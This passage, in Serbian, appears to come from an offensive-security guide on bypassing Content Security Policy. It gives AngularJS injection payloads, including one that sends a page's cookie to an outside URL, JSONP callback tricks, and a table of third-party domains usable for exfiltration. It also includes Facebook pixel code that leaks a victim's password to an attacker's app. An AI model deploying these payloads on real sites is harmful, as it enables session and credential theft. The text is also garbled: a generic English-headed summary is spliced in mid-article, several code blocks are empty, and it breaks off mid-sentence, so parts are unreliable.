{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
Više [**payloada iz ovog članka**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
```
#### Zloupotreba www.google.com za otvoreno preusmeravanje
Sledeći URL preusmerava na example.com (od [ovde](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Zloupotreba \*.google.com/script.google.com
Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [uradjeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Endpoziti treće strane + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpointove za CSP zaobilaženje različitih veb lokacija.**
Ista ranjivost će se pojaviti ako **pouzdani endpoint sadrži otvoreno preusmeravanje** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.
### Zloupotrebe trećih strana
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koje su dozvoljene negde u CSP-u, a mogu se zloupotrebiti kako bi se ili eksfiltrirali podaci ili izvršio JavaScript kod. Neke od ovih trećih strana su:
| Entitet | Dozvoljeni domen | Mogućnosti |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Eksfiltracija |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfiltracija |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvršavanje |
| Amazon CloudFront | \*.cloudfront.net | Eksfiltracija, Izvršavanje |
| Amazon AWS | \*.amazonaws.com | Eksfiltracija, Izvršavanje |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracija, Izvršavanje |
| Salesforce Heroku | \*.herokuapp.com | Eksfiltracija, Izvršavanje |
| Google Firebase | \*.firebaseapp.com | Eksfiltracija, Izvršavanje |
Ako pronađete neki od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke ka toj usluzi ili izvršiti kod.
Na primer, ako pronađete sledeći CSP:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
### Bypassing Content Security Policy (CSP)
---
#### Introduction
Content Security Policy (CSP) je mehanizam bezbednosti koji pomaže u zaštiti od XSS napada. CSP definiše koje vrste resursa (kao što su skripte, slike, stilovi itd.) mogu biti učitane na veb stranici. Međutim, postoje načini za zaobilaženje CSP-a kako bi se omogućilo izvršavanje zabranjenih operacija.
#### Metode zaobilaženja CSP-a
1. **Inline JavaScript**: CSP može zabraniti inline JavaScript kôd, ali postoje načini da se ovaj mehanizam zaobiđe. Na primer, korišćenjem događaja kao što su `onclick` ili `onmouseover` može se izvršiti JavaScript kôd direktno na stranici.
2. **External Resources**: CSP može ograničiti učitavanje resursa sa spoljnih lokacija. Međutim, korišćenjem dozvoljenih domena ili CDN-ova, moguće je učitati resurse sa spoljnih lokacija.
3. **Data URI Scheme**: Korišćenjem Data URI Scheme-a, moguće je ugraditi resurse direktno u HTML kôd, zaobilazeći tako CSP ograničenja.
4. **Unsafe Inline**: Postavka `unsafe-inline` u CSP pravilu omogućava izvršavanje inline skripti i stilova, iako se ne preporučuje zbog sigurnosnih rizika.
#### Zaključak
Iako je CSP moćan alat za zaštitu veb aplikacija od XSS napada, važno je razumeti potencijalne načine zaobilaženja kako bi se osigurala potpuna bezbednost. Redovno testiranje CSP pravila i implementacija dodatnih sigurnosnih mera su ključni koraci u održavanju sigurne veb aplikacije.
```
Content-Security-Policy: connect-src www.facebook.com;
```
Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
1. Kreirajte Facebook Developer nalog ovde.
2. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
4. Na ciljnom sajtu sa kog želite da eksfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podataka za prenos.
5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadača na Facebook developer nalogu app-id i izdajte prilagođeni događaj ovako:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Bypass putem RPO (Relative Path Overwrite)
Pored pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
```html
```
Browser će konačno učitati `https://example.com/scripts/angular/angular.js`.
Ovo funkcioniše jer za preglednik učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
Zatim će je dekodirati, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno sa `https://example.com/scripts/angular/angular.js`.
**Iskorišćavanjem ove neusaglašenosti u tumačenju URL-a između preglednika i servera, pravila putanje mogu biti zaobiđena**.
Rešenje je ne tretirati `%2f` kao `/` na serverskoj strani, osiguravajući dosledno tumačenje između preglednika i servera kako bi se izbegao ovaj problem.
Online Primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Izvršavanje JS preko Iframe-a
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### nedostaje **base-uri**
Ako nedostaje direktiva **base-uri** možete je zloupotrebiti da biste izvršili [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Osim toga, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `
ng-app"ng-csp ng-click=$event.view.alert(1337)>